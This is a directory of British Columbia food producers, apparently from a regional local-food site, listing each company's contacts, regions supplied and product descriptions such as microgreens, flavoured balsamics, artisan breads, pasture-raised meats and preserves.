Certified by PACS: 16-084 Ingredients: Organic Pea Available year round: Sold in 50 g PET containers or 1 or 2 # bulk bags. Pea Shoots are a delicious year-round green. Dark green in color with the taste of a snow pea, these shoots are really versatile. Great in salads, sandwiches, wraps, or folded into soups and stir fries (at the last minute), pea shoots add dimension to any meal. They also make a most elegant garnish when piled on top of a stew or casserole. Organic Microgreens: Certified by PACS: 16-084 Ingredients: Organic red Daikon Radish, organic China Rose or Daikon radish, organic mustard, organic red cabbage, organic arugula and organic mizuna. Available year-round: Sold in 4 oz PET containers or 1 or 2 # PET trays. Despite being micro sized, our microgreens pack a huge flavour punch. Being so petite and stunning, they are generally used as tasty and impactful garnish. That being said, they are amazing in sandwiches, salads, wraps or on their own with a light dressing. We have a small Organic market garden where this year we produced a large assortment of veggies and herbs. If you are interested in more information about this feel free to contact us.

#### Organic Microgreens - Year Round

Certified by PACS: 16-084 Ingredients: Organic red Daikon Radish, organic China Rose or Daikon radish, organic mustard, organic red cabbage, organic arugula and organic mizuna. Available year-round: Sold in 4 oz PET containers or 1 or 2 # PET trays. Despite being micro sized, our microgreens pack a huge flavour punch. Being so petite and stunning, they are generally used as tasty and impactful garnish. That being said, they are amazing in sandwiches, salads, wraps or on their own with a light dressing.

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## Edible Gardens - Unavailable

**Contact:** Michael Lonsdale

**Toll Free:** Unavailable

**Phone:** Unavailable

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [ediblegardens@shaw.ca](mailto:ediblegardens@shaw.ca)

**Website:** [www.ediblegardens.net](http://www.ediblegardens.net)

### Address:

Unit 45095 Ocean Park

South Surrey, BC

V4A 9L1

### Regions Supplied:

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### Company Notes:

### Products Available:

#### Savory Balsamics - Gingerfig - Year Round

Sun kissed California Mission fig married with fresh organic ginger and aged Balsamic is perfect on mescaline greens with sesame seeds.... try a quick reduction slowly sautéing red and green peppers and zucchini to a glistening glaze.

#### Savory Balsamics - Apricot Chipotle - Year Round

Sun drenched apricots with chipotle peppers infused with aged Balsamic vinegar is great for a quick BBQ marinade.. A perfect balance between heat and flavour! Our customers love this one with goats cheese and fresh salsa. Or a splash in a spicy Ceasar!

#### Savory Balsamics - Roasted Garlic - Year Round

Big cream white organic garlic with the slight heat of roasted red chilies and this balsamic can deliver...as your own steak sauce with southern heat or simply splashed on simple braised greens like spinach and asparagus. It is our BEST seller.

#### Fruit Balsamics - Honey - Year Round

The sweetest of all our Balsamics. The Clover Honey infused in Balsamic creates a thick, rich dressing- a sensational start on spinach salad with oranges and almonds. Or a quick marinade for chicken or pork. Honey Balsamic our NEW balsamic creation.

#### Fruit Balsamics - Pomegranate - Year Round

The new "super food" that is a source of antioxidants and knock out nutrients gives our balsamic a beautiful hue, and flavourful kick to wild greens and feta. Try splashed on fresh oysters on the half shell...or a dash on steamed mussels with fennel. LIMITED AVAILABILITY

#### Fruit Balsamics - Blackberry or Raspberry - Year Round

Big bold Blackberries taste like nothing else. Now try it infused with our sweet balsamic layered on star fruit, melon and cantaloupe. I love it with a touch of soya sauce slipped on sweet red garden beets.Sweet from the sunshine, fresh from the field, classic and perfect for every day use - Raspberry Balsamic makes butter lettuce with mandarins and shaved parmesan say summer, any day.

#### Fruit Balsamics - Cranberry - Fall,Winter,

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Only offered for the festive Thanksgiving and Christmas season..but worth the wait! Perfect for Christmas Salad Supreme..with walnuts, gorgonzola cheese, and rosemary roasted croutons. AVAILABLE Late September-December.

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## Energy Essentials 24/ 7 Inc. - 604-818-6760

**Contact:** Ali J. Chernoff

**Toll Free:** Unavailable

**Phone:** 604-818-6760

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [ali@energyessentials24-7.com](mailto:ali@energyessentials24-7.com)

**Website:** [www.energyessentials24-7.com](http://www.energyessentials24-7.com)

### **Address:**

Vancouver, BC

### **Regions Supplied:**

- Vancouver Island & Gulf Islands

### **Company Notes:**

Unique Canadian natural low fat 7% M.F. Essential Cheese that melts well and is good for 9 months and up. For those with heart disease, this cheese is trans fat free and low in saturated fat as well as low fat. Essential Low Fat Natural 7% M.F. Cheese has the same overall fat content like 1% milk. Our Pizza is organic and multigrain crust with Essential Cheese. Available all year long.

### **Products Available:**

Essential Low Fat Natural 7% M.F. Cheese - Year Round

Unique, Natural, Organic Low Fat Cheese

Essential Cheese Pizza - Year Round

Organic Multigrain Essential Cheese Pizza



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## Estevan Tuna Corporation - 250-334-7648

**Contact:** Bruce & Diane Devereux

**Toll Free:** Unavailable

**Phone:** 250-334-7648

**Cell:** Unavailable

**Fax:** 250-334-2929

**Email:** [ddevereux@shaw.ca](mailto:ddevereux@shaw.ca)

**Website:** [www.bctuna.com](http://www.bctuna.com)

**Address:**

4098 Gartley Point Road

Courtenay, BC

V9N 9T2

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

Custom Canned BC Caught Tuna. Natural (no water added) all Omega 3 intact Smoked tuna. Natural hardwood smoking, natural tuna with tsp of Organic Olive Oil.

**Products Available:**

Custom Canned BC Albacore Tuna - Year Round

BC Caught Albacore Tuna, Custom canned, hand filed, hand packed canned Tuna in 180 g. Pull top lids, Natural Tuna, touch of sea salt smoke tuna, natural hardwood smoked with tsp. Organic Olive oil.

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## European Breads Bakery - 604-879-5177

**Contact:** Vera Kobalia

**Toll Free:** Unavailable

**Phone:** 604-879-5177

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@europeanbreads.com](mailto:info@europeanbreads.com)

**Website:** <http://www.europeanbreads.com>

### **Address:**

4324 Fraser Street

Vancouver, BC

V5V 4G3

### **Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### **Company Notes:**

All European Breads products are made by hand, using artisan methods and original recipes. European Breads Bakery produces a range of gluten free, yeast free and wheat free breads. As an added bonus, all of the breads are dairy free. European Breads are baked in over 25 varieties with the finest ingredients and methods of traditional artisan baking.

### **Products Available:**

#### Ancient Roman Spelt Bread - Year Round

Spelt is an ancient grain that traces its heritage back long before many wheat hybrids. It offers a broader spectrum of nutrients compared to many of its more inbred cousins in the wheat family. It is an excellent source of Vitamin B2 and a good source of niacin, thiamin, and copper. This particular combination of nutrients makes spelt bread an excellent choice for people suffering from migraine headaches, atherosclerosis, or diabetes. Ingredients are: spelt flour, spelt bacterial culture, sea salt, and sunflower oil. All European Breads products are made by hand, using artisan methods and original recipes. Packaged in a biodegradable bag!

#### Baltic Bread - Year Round

There are more than 40 different varieties of delicious breads in Latvia, with Baltic being the most popular one. It's a denser bread than Borodin due to special enzymes and the unique process involving in baking it. Baltic bread has a very distinct, almost sweet flavour as it's made with caramel and caraway seeds. Ingredients: dark rye flour, whole wheat flour, molasses, caraway, caramel, malt, bacterial culture, sea salt, and filtered water. All European Breads products are made by hand, using artisan methods and original recipes. Packaged in a biodegradable bag!

#### 100% Barley Bread - Year Round

Barley played an important role in the ancient Greek culture as a staple bread-making grain. It was an important food for athletes, who attributed much of their strength to their barley-rich training diets. Roman athletes continued this tradition of honouring barley for the strength that it gave them. Barley's claim to nutritional fame is based on its being a very good source of fiber and selenium, as well as a good source of phosphorus, copper, and manganese. Ingredients: barley flour, barley bran, bacterial culture, sea salt, and filtered water. All European Breads products are made by hand, using artisan methods and original recipes. Packaged in a biodegradable bag!

#### Buckwheat Bread - Year Round

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Buckwheat is a fruit seed related to rhubarb. This makes it a suitable substitute for grains and a great alternative for wheat or other grains that contain protein glutens. Diets that contain buckwheat have been linked to lowered cholesterol and lowered blood pressure. Buckwheat also contains magnesium, which relaxes blood vessels, improving blood flow and nutrient delivery. Ingredients: buckwheat, flax, rice flour, sea salt, baking powder, and xanthan gum. All European Breads products are made by hand, using artisan methods and original recipes. Packaged in a biodegradable bag!

#### Euro Flax Bread - Year Round

Its high content of alpha linolenic acids has made the ancient flax seed become a modern miracle food. Alpha linolenic acid is a type of omega 3 fatty acid, similar to those found in fish such as salmon. Benefits of flax seed include lowering cholesterol and blood pressure. Ingredients: whole wheat flour, flax seeds, ground flax, sea salt, fresh yeast, and filtered water. All European Breads products are made by hand, using artisan methods and original recipes. Packaged in a biodegradable bag!

#### Pharoah's Kamut Bread - Year Round

Kamut grain is an ancient relative of durum wheat, twice the size of common wheat, with 20 to 40% more protein and higher lipids, amino acids, vitamins, and minerals. It's a delicious, sweet alternative for all products that now use common wheat. Ingredients: kamut flour, bacterial culture, sea salt, and sunflower oil. All European Breads products are made by hand, using artisan methods and original recipes. Packaged in a biodegradable bag!

#### Russian Rye Bread - Year Round

Russian Rye, also known as Orlov bread, is one of the most famous breads from 18th century Russia. It is named after Count Orlov, military officer and lover of Catherine the Great, empress of Russia from 1762 to 1796. He organized the coup d'etat that placed Catherine on the Russian throne and subsequently was her close adviser. Ingredients: dark rye flour, whole wheat, sea salt, bacterial culture, sunflower oil, and filtered water. All European Breads products are made by hand, using artisan methods and original recipes. Packaged in a biodegradable bag!

#### Georgian Baguette - Year Round

Georgian Baguette is one of the oldest breads in the world and originates from the land of Colchis (present day Georgia). According to Greek mythology, Colchis was a beautiful land situated on the mysterious periphery of the heroic world. Here in the sacred grove of the war god, Ares, King Aetes hung the Golden Fleece until it was seized by Jason and the Argonauts. Ingredients: organic white flour, sea salt, yeast, lemon juice, and filtered water. All European Breads products are made by hand, using artisan methods and original recipes.

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## Everland Natural Foods Inc. - 604-638-9255

**Contact:** Rajinder Bagga

**Toll Free:** Unavailable

**Phone:** 604-638-9255

**Cell:** Unavailable

**Fax:** 604-530-8800

**Email:** [rajinder@everlandnaturalfoods.com](mailto:rajinder@everlandnaturalfoods.com)

**Website:** <http://www.everlandnaturalfoods.com>

### **Address:**

7442 Fraser Park Drive

Burnaby, BC

V5J 5B9

**Regions Supplied:** All of BC

### **Company Notes:**

Everland products mean: no irradiation, no preservatives, no additives, no colourings, no refined sugars, no genetically engineered ingredients, and nutritious foods for healthy and environmentally conscious consumers. By sourcing high quality organic and natural products, Everland ensures nothing extra needs to be added during processing. Based on current trends and research within the industry, the development of Everland Organic & Natural Products emphasizes quality, taste, health, fun, and convenience. In promoting a healthy life style, all Everland products are vegetarian and a majority are vegan. This means our food production processing facilities omit the use of all animal products, with the exception of honey. Due to concerns for the environment and quality, at Everland we strive to source the ingredients as locally as possible. Everland products are packaged in recyclable glass and plastic while keeping the product-to-package ratio high. This not only reduces our carbon footprint but also keeps our foods fresh, healthy, and enjoyable.

### **Products Available:**

#### Everland Brand Multicultural Cooking and Dipping Sauces - Year Round

Organic, kosher; many sauces are vegan. The only brand that has such a wide range of certified 100% organic sauces. We use BC produce as much as possible.

#### Everland Brand Nut and Seed Butters - Year Round

Organic, kosher, and vegan many are raw.

#### Everland Brand Coconut Oil - Year Round

Organic and kosher.

#### Tomato Garden Salsas and Pasta Sauces - Year Round

Organic and kosher. The only brand of certified 100% organic salsa and pasta sauce that is manufactured in BC and in Canada. We use BC produce as much as possible.

#### Taj Mahal Brand Chutneys and Curry Pastes - Year Round

Natural, organic, and kosher. We use BC produce as much as possible.

#### Sweetcane Brand Sweeteners, Liquid and Crystallized - Year Round

Organic and kosher

#### New World Natural Foods Brand Whole Grain Granolas and Muesli. -

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Organic and kosher. Granola and muesli are the original wholesome, ready-to-eat breakfast cereals. Many are vegan and are sweetened without sugar, using natural sweeteners - or are unsweetened.

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## Falcon Ridge Farms - 250-861-5441

**Contact:** Marlys Wolfe

**Toll Free:** Unavailable

**Phone:** 250-861-5441

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [gmwolfe@shaw.ca](mailto:gmwolfe@shaw.ca)

**Website:** [www.falconridgefarms.ca](http://www.falconridgefarms.ca)

### Address:

579 Rifle Road

Kelowna, BC

V1V 2H2

### Regions Supplied:

- Thompson/Okanagan

- Kootenay

### Company Notes:

Our farm is an organic family run farm. As well as producing various fruits and vegetables, we make our own value added products including 7 blends of teas, a Blueberry Echinacea Mint Iced Tea, 2 spice blends, various health products, jams, jellies and preserves. Falcon Ridge Farms also hosts weddings, birthday parties and farm tours, complete with a covered caravan pulled by the farm tractor driven by the owner's father, who lives in a basement suite on their farm.

<https://www.findstandards.com/>

### Products Available:

#### Echinacea Mint Teas - Year Round

Echinacea Mint Teas - 7 blends: Echinacea; Echinacea Mint; Echinacea Lemon Mint; Echinacea Orange Mint; Echinacea Licorice Mint; Echinacea Rooibos; Echinacea Ginger Chai All blends are certified organic; Echinacea is grown on our farm, harvested and blended with other certified organic products to produce unique teas that are healthy and delicious. We created our own recipes, make all of the blends on the farm, package in beautiful tins, label and ship direct from ourselves to the consumer or retail store.

#### Spice Blends - Year Round

Spice Blends - 2 blends: Italian Spice and Poultry Spice. Both blends are certified organic and made from herbs that we produce on our farm as well as additional herbs that are also certified organic. We grow, harvest and blend the spices, package, label and ship direct from our farm to the consumer and retail stores.

#### Garlic - Certified Organic - Fall, Winter,

Garlic - Certified Organic - Bulk. We grow certified organic Kettle River Giant garlic. We harvest the garlic the end of July, cure it and sell it either bulk by the pound or in netted bags of 85-110 grams with a info card attached to the netted bag that contains info about garlic and our farm.

#### Blueberry Echinacea Mint Iced Tea - Year Round

Blueberry Echinacea Mint Iced Tea Certified Organic Iced Tea made with organic Blueberries, organic honey and our very own Echinacea Mint Tea. Delicious and healthy. Very full bodied. Beautiful packaging in glass bottles. Made in small batches and heat sealed.

#### Health Products - Year Round

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Health Products - 3: Mouthwash - Made with Echinacea, Oil of Oregano and Aloe Vera. This product is very effective for gingivitis and any bacterial problems. Echinacea Tincture - made with organic Echinacea Angustifolia fresh root. Very potent. Throat Spray - made with Echinacea, Oil of Oregano and other anti-inflammatory and anti-bacterial herbs. Very effective for sore throats but it also used for mosquito bites. We have our Site Licence and are now applying for Natural Health Product Numbers for the Throat Spray and Echinacea Tincture.

#### General Organic Certified Produce - Summer

Carrots, Bagged and Ready to Eat - 1 pound packages Certified Organic Carrots and Certified Organic Beet Bunches, Certified Organic Corn - Peaches and Cream. Certified Organic Squash - Acorn, Spaghetti, Butternut and Buttercup. Certified Organic Garlic - Bulk, by the pound and Netted bags of 85-110 grams. Certified Organic Kettle River Giant Garlic

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## Family Farm Natural Meats Ltd. - 250-397-2547

**Contact:** Christina Johnson

**Toll Free:** Unavailable

**Phone:** 250-397-2547

**Cell:** Unavailable

**Fax:** 250-397-2033

**Email:** [info@familyfarmnaturalmeats.com](mailto:info@familyfarmnaturalmeats.com)

**Website:** [www.familyfarmnaturalmeats.com](http://www.familyfarmnaturalmeats.com)

### **Address:**

Box 61

Forest Grove, BC

V0K 1M0

### **Regions Supplied:**

- Cariboo
- Thompson/Okanagan
- Vancouver/Mainland

### **Company Notes:**

We are a small family farm in the interior of British Columbia, Canada. We started raising our own livestock, because we wanted to be in control of what was being fed to the animals we eat.

We farm by NATURAL principals:

NO Antibiotics, NO Growth Hormones,

NO Animal By-Products.

### **Products Available:**

#### Grass Fed Beef - Year Round

Grass-Fed, Grass Finished Beef - Pasture raised, Angus cross, No Antibiotics given, Grass Finished, Under 30 months, Hung for minimum 21 days, Vacuum Sealed Packaging and Frozen. Steaks, (2 per package) Roasts (3 lb packages), Ground (Extra Lean and Regular, 1 lb packages) Stew (1 lb packages) Short Ribs (1-2 lb packages)

#### Pasture Raised Pork - Year Round

Pasture Raised Pork - Pasture Raised - Berkshire Cross, No Antibiotics given, Vacuum Sealed Packaging and Frozen Loin Steaks (2 per package) Shoulder Roasts (3 lb package) Tenderloin (1 lb package) Spare Ribs (1-1.5 lb Packages) Ground (Ex-lean and Regular, 1 lb Packages) No Nitrite Bacon (1 lb packages)

#### Pasture Raised Chicken - Fall, Summer

Pasture Raised Chickens - Slow growing Meat Birds, No Antibiotics given, Vacuum Sealed Packaging and Frozen. Whole Birds - 4 to 5 lbs Skinless Boneless Breast (half per package) Wings (8 per package) Legs/Thigh (1 per package) Available Seasonally

#### Pasture Raised Turkey - Fall,

Pasture Raised Turkey Whole Birds and Frozen 15-18 lbs. Available Seasonally

#### Value Added Meat Products - Year Round



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Value Added Products - NO Nitrites added, No Fillers, Natural Casings. (Frozen) Smokies - 50% beef, 50% Pork;  
Bratwurst - 100% Pork; Weiners - 50% Beef, 50% Pork ;Trim for Sausage Making (Frozen) also available Pork 10 lb.  
Bulk

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## Fieldgold Food Products - 877-835-1277

**Contact:** Anne Vos

**Toll Free:** Unavailable

**Phone:** 877-835-1277

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@fieldgoldfoods.com](mailto:info@fieldgoldfoods.com)

**Website:** [www.fieldgoldfoods.com](http://www.fieldgoldfoods.com)

### **Address:**

Box 27046RPO Willowpark

Kelowna, BC

V1X 7L7

### **Regions Supplied:**

- Thompson/Okanagan

- Kootenay

### **Company Notes:**

Fieldgold Gourmet Canadian mustards are produced with Western Canadian mustard seed purchased directly from the grower. They are produced by hand in our inspected kitchen in Kelowna.

No preservatives are used and the mustard is made in small batches of 60-70 jars that are each tested for quality control. All mustards have a grainy texture and sharp flavour which is the result of using fresh ingredients and minimal processing. Recipes have been developed by the original owner over a period of ten years. We are proud of the simple, flavourful goodness of our lovingly prepared products. Mustard is a natural preservative and has a long shelf life.

Below are listed our most popular varieties. Other Fieldgold Gourmet Canadian Mustards in addition to listings below include: Fieldgold Honey Garlic, Fieldgold Honey Mustard, Fieldgold Danish Mustard, Fieldgold Hot English Mustard and Fieldgold Dusseldorf Wine Mustard.

### **Products Available:**

#### Fieldgold Horseradish Mustard - Year Round

Western Canadian horseradish is harvested and processed by hand to produce this popular, snappin' hot variety.

#### Fieldgold Swedish Mustard - Year Round

A popular sweet and hot variety which is authentic to its Scandinavian roots.

#### Fieldgold Chili Garlic Mustard - Year Round

Prepared using Chinese Chili Garlic Sauce.

#### Fieldgold Honey Lime Ginger Mustard Dipping Sauce - Year Round

Western Canadian honey purchased directly from the farmer is used in this mustard. A dipping sauce suitable for pretzels, chicken fingers or any meat finger food.

#### Fieldgold Wine Wholeseed Mustard and Fieldgold Dijon Mustard - Year Round

These mustards are produced using an aging process. Wine Wholeseed mustard is aged for 6-12 months to allow the wine flavours to infiltrate the whole seeds and for the whole seeds reach a distinctive crunchy texture.

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**Fieldgold Okanagan Deli Mustard - Year Round**

A sweet mustard based on the old English recipe, Tewkesbury, and named for the location of the company. A delightful take home for visitors to the Okanagan and anyone who enjoys a unique mustard.

**Fieldgold Garlic Dill Mustard - Year Round**

Local garlic is used whenever possible in this popular mild mustard that is fantastic for use in dressings and with fish.

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## Fir Hill Farm - 250-629-3819

**Contact:** Barbara Grimmer

**Toll Free:** Unavailable

**Phone:** 250-629-3819

**Cell:** Unavailable

**Fax:** 250-629-6398

**Email:** [firhillfarm@gulfislands.com](mailto:firhillfarm@gulfislands.com)

**Website:** Unavailable

**Address:**

2310 Grimmer Road

Pender Island, BC

V0N 2M1

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

Sustainable heritage farm in the Gulf Islands. Raising premium-quality, pasture-raised lamb and beef. Also producing heritage turkeys for limited sale.

**Products Available:**

Lamb, Pasture Raised - Year Round

Provincially inspected. Custom cut and wrapped. Individual cuts available (leg roasts, chops, racks, etc.) or sold by whole or half.

Heritage Breed Turkey - Year Round

Provincially inspected. Sold whole.

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## First Nature Farms - 780-356-2285

**Contact:** Jerry Kitt

**Toll Free:** Unavailable

**Phone:** 780-356-2285

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [jkitt@telusplanet.net](mailto:jkitt@telusplanet.net)

**Website:** [www.firstnaturefarms.ab.ca](http://www.firstnaturefarms.ab.ca)

**Address:**

Box 123

Goodfare, AB

T0H 1T0

**Regions Supplied:**

- Peace

- Vancouver/Mainland

**Company Notes:**

First Nature Farms has been providing certified organic meats to restaurants and retail markets in Vancouver for the past 12 years. The farm is located along the BC border up in the Peace Country and has been certified organic since 1990. Operated as an ecological reserve, First Nature Farms is home to many endangered species including trumpeter swans, grizzly bears, and river otters. The goal has always been to protect and enhance its natural biodiversity.

**Products Available:**

Organic Pork - Year Round

Certified Organic Port PACS 16-128

Organic Beef - Year Round

Certified Organic Beef - PACS 16-128

Organic Bison - Year Round

Certified Organic Bison - PACS 16-128

Organic Turkey - Year Round

Certified Organic Turkey PACS 16-128

Merriam's Wild Turkey - Year Round

Certified Organic Merriam's Wild Turkey PACS 16-128

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## Food First Enterprises O/A Little Creek Dressing - 250-769-3932

**Contact:** Donna Denison

**Toll Free:** Unavailable

**Phone:** 250-769-3932

**Cell:** Unavailable

**Fax:** 250-769-1336

**Email:** [lcgarden@cnx.net](mailto:lcgarden@cnx.net)

**Website:** [www.littlecreekgardens.com](http://www.littlecreekgardens.com)

**Address:**

3545 Westside Road N.

Kelowna, BC

V1Z 3W8

**Regions Supplied:** All of BC

**Company Notes:**

Little Creek Dressing is a homemade artisan dressing/sauce/marinade that I developed in 1995 as a "value-added" product to complement the organic gourmet salad greens which are grown on our certified organic farm, Little Creek Gardens.

The delicious & unique tasting Original, tantalizing Spicy Strawberry and delightful Cherry Balsamic Dressings are produced on site in our commercial kitchen on our farm located on the West shores of Okanagan Lake near Kelowna, BC. Each recipe was created by myself, Donna Denison, and includes fresh and natural ingredients as well as some organic products.

All of the vinegars used in the dressings are made at Little Creek using my own formulas. The dressing labels include my drawing depicting the dawn touching the mountains and lake in our beautiful Okanagan Valley. This important element of my packaging shares with the consumer a feeling of the pristine beauty of this very special place, Little Creek.

**Products Available:**

Little Creek Dressings - Year Round

Original, Spicy Strawberry, Cherry Balsamic available in cases - 12/cs - size 295 ml. Original available in 750 ml 12/cs. 3 Flavour gift packages of 295 ml bottles also available. All flavours are available in food service, 5 litre jugs.

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## Forest to Fork - 250-732-2063

**Contact:** Brenda Cadieux

**Toll Free:** Unavailable

**Phone:** 250-732-2063

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@foresttofork.com](mailto:info@foresttofork.com)

**Website:** [www.foresttofork.com](http://www.foresttofork.com)

**Address:**

Unit 113 - 1175 Rosehill Road

Kamloops, BC

V2E 1G9

**Regions Supplied:** All of BC

**Company Notes:**

All mushrooms collected in the pristine forests of BC. Recipes developed and created since 1989 and hand made. Please see our website for more information.

[engineer standards online](https://www.engineertoolonline.com/)

**Products Available:**

Wild Mushroom Marinade Vinaigrette - Year Round

No description available

Wild Morel Mushroom Bisques, Soups and Sauces - Year Round

Can specify product for consumption.

Preserved Mushrooms - Year Round

Preserved mushrooms in oil and wine vinegar, all laboratory tested. They come in jar and boxed sets.

Wild Mushroom Pate - Year Round

Dairy based, dried with instructions on the back, ready to use or in dried form. Pate can be specified with 22 different varieties of mushrooms.

Dried Wild Mushrooms - Year Round

22 varieties (ie, Chanterelle, Morel, Lobster, Pine, Boletus). Sold in packages and loose quantities. Packages contain dried herbs added to mushroom base.

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## Fraser Valley Duck & Goose Ltd. - 604-823-4435

**Contact:** Randi Dueck  
**Toll Free:** Unavailable  
**Phone:** 604-823-4435  
**Cell:** Unavailable  
**Fax:** 604-823-4306  
**Email:** [randi@twinmaple.com](mailto:randi@twinmaple.com)  
**Website:** [www.fvdg.com](http://www.fvdg.com)

**Address:**  
4540 Simmons Road  
Chilliwack, BC  
V2R 4R7

### Regions Supplied:

- Thompson/Okanagan
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

### Company Notes:

Fraser Valley Duck & Goose Ltd. was founded in 1981. It was purchased in 1998 by the Twin Maple Group of Companies out of

Abbotsford, BC. The farm and processing facilities are family owned and operated, and we control every aspect of the business from breeding to shipping to ensure the highest quality birds and finest service available.

Fraser Valley Duck & Goose is the premiere supplier of "The freshest duck in town" to the BC marketplace. Virtually every part of the duck is marketed; the main products being whole and duck pieces. Duck is a healthy, heart-smart, choice for every day dining. It's not just for special occasions anymore! you can enjoy duck in a variety of easy-to-serve recipes at home. Experience each tender, juicy bite, full of rich, mouth-watering flavour. Please check our website or call our store for a complete list of products available.

"Give chicken a break, eat duck!"

### Products Available:

#### Grade "A" Ducks - Pekin - Year Round

Available in the following sizes: 1.80 kg (4 lb) - 2.60 kg (5.75 lb). This product may be ordered fresh or frozen. Packaging may be bulk or Cryovac packaging.

#### Grade "A" Geese - Embden - Fall, Summer

Available in the following sizes: 3.25 kg (7 lb) - 7 kg (15.50 lb). This product may be ordered fresh or frozen. All product is packaged in Cryovac packaging.

#### Duck Pieces - Year Round

Boneless duck breasts, bone-in duck breasts, duck leg quarters, duck legs, and duck wings. Many other duck pieces are available. Please contact our store or visit our website for more information. All duck pieces are packaged in either bulk or Cryovac packaging.



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## Fresh Flavours Homemade Food Products - 250-375-2597

**Contact:** Samantha Turner

**Toll Free:** Unavailable

**Phone:** 250-375-2597

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [fresh\\_flavours@hotmail.com](mailto:fresh_flavours@hotmail.com)

**Website:** Unavailable

**Address:**

Box 87

Westwold, BC

V0E 3B0

**Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

**Company Notes:**

Fresh Flavours prepares its award-winning preserves in small batches using quality BC-grown fruits and vegetables harvested in season to ensure freshness and flavour.

**Products Available:**

Fruit Jams - See below for list of Fruit Jams - Year Round

Apricot Jam, Blueberry Jam, Raspberry Jam, Strawberry Jam. All made with BC fruit. 270 ml, 500 ml and 750 ml size jars.

Savoury Jellies - See below for list of savoury Jellies - Year Round

Garlic Jelly, Pepper Jelly, Raspberry Wine Jelly, Purple Basil Jelly. All made with BC-grown fruits and vegetables. 125 ml and 270 ml sizes.

Caesar Asparagus - Year Round

Spicy Pickled Asparagus using asparagus grown in Armstrong, BC. 500 ml and 750 ml sizes.

Dill Pickles - Year Round

BC grown cukes, dill, garlic and peppers. 750 ml.

Dilly Beans - Year Round

BC grown beans, dill, garlic and peppers. 500 ml.

Fruit Chutneys - Year Round

Peach Chutney, Blueberry Chutney, Rhubarb Chutney, and Cherry Chutney, available in small batches only.

Sweet Pickled Peppers - Year Round

Available in small batches only.

Sweet Asparagus Pickles - Year Round

Available in small batches only.



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## From the Hearth Bakery - 250-447-6195

**Contact:** Mickey & Mike Nadon

**Toll Free:** Unavailable

**Phone:** 250-447-6195

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@fthbakery.ca](mailto:info@fthbakery.ca)

**Website:** <http://fthbakery.ca/>

**Address:**

6 Johnson Road  
Christina Lake, BC  
V0H 1E2

**Regions Supplied:**

- Thompson/Okanagan

**Company Notes:**

Organic Flours, Grains and Seeds Handcrafted and Hearth Baked Loaves

We are a scratch bakery located in Christina Lake BC (beautiful Boundary  
Country)

**Products Available:**

Artisan Cookies - Year Round

Cookies, such as Ginger, Oatmeal Chocolate, and Oatmeal Raisin.

Baked Goods - Spring,

Cakes, Pies, Cinnamon Buns, Assorted Bars, Quiche, Scones, Muffins, a larger assortment of Cookies. Available Seasonally

Artisan Breads - Year Round

Artisan produced breads which are made with organic flour and grains, and using a variety of methods including our own sourdough culture.

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## Galloping Goose Sausage Company - 250 474 5788

**Contact:** Johan Wessels/Kate Wallace

**Toll Free:** Unavailable

**Phone:** 250 474 5788

**Cell:** Unavailable

**Fax:** 250 474 5788

**Email:** [sausage@islandnet.com](mailto:sausage@islandnet.com)

**Website:** [www.islandnet.com/sausage](http://www.islandnet.com/sausage)

**Address:**

4484 Lindholm Road

Victoria, BC

V9C 3Y1

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Producer of tasteful, healthy sausages and dried meat.

**Products Available:**

Beef or Bison Sausages - Year Round

20 varieties of flavourful, low-fat sausages, hand linked with natural casings.

Biltong-Dried Bison or Beef Meat - Year Round

Trimmed of all fat. No preservatives. Healthy snack.

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## Gelderman Farms - 604-864-9096

**Contact:** Jerry Gelderman

**Toll Free:** Unavailable

**Phone:** 604-864-9096

**Cell:** Unavailable

**Fax:** 604-864-9096

**Email:** [jageld@shaw.ca](mailto:jageld@shaw.ca)

**Website:** [www.geldermanfarms.ca](http://www.geldermanfarms.ca)

**Address:**

35805 Vye Road

Abbotsford, BC

V3G 1Z5

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Our pigs are raised in large pens, bedded on sawdust in naturally ventilated barns. Because of this we have more marbling which enhances the flavor of the meat. No growth hormones, no therapeutic antibiotics in the feed. We offer a wide variety of pork products - chops, roasts, hams, ribs, bacon, farmer sausage, smokies, breakfast sausage. With advance notice, we can customize orders or cuts to suit your needs.

**Products Available:**

Pork - Year Round

Wide Variety of Pork Products: Chops, Roasts, Hams, Ribs, Bacon, Farmer Sausage, Smokies, and Breakfast Sausage

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## Glenlochar Kitchens - 604-317-8933

**Contact:** Georgina Sonmor  
**Toll Free:** Unavailable  
**Phone:** 604-317-8933  
**Cell:** Unavailable  
**Fax:** 778-574-5853  
**Email:** [sonmor@gmail.com](mailto:sonmor@gmail.com)  
**Website:** [www.glenlocharsoups.com](http://www.glenlocharsoups.com)

**Address:**  
Hillcrest Village RPO, Box 36033  
Surrey, BC  
V3S 7Y5

**Regions Supplied:** All of BC

### Company Notes:

Glenlochar Kitchens is a manufacturer and distributor of healthy and convenient dry soups, chili's, rice dishes and casseroles with no added MSG or Trans Fats.

### Products Available:

#### Stonehouse Soup Mix - 400g - Year Round

Our dry Stonehouse Soup Mix is a healthy, hearty medley of lentils, navy beans, kidney beans, pinto beans, green and yellow split peas, along with our special spice pack and dehydrated vegetables. Our Stonehouse Soup Mix makes up 10-12 cups of a traditional ham & bean style soup. The nutritional assessment on this product indicates that it is free of fat, is a very good source of fibre (6g. per serving), a good source of iron and cholesterol free. You can let this one cook all day in the slow cooker or on the stove top for a quicker method. This is a great one to have on hand for the extra ham after Easter, Thanksgiving or Christmas. Freeze the extra soup for other meals.

#### Texas Tortilla Soup Mix - 300g - Year Round

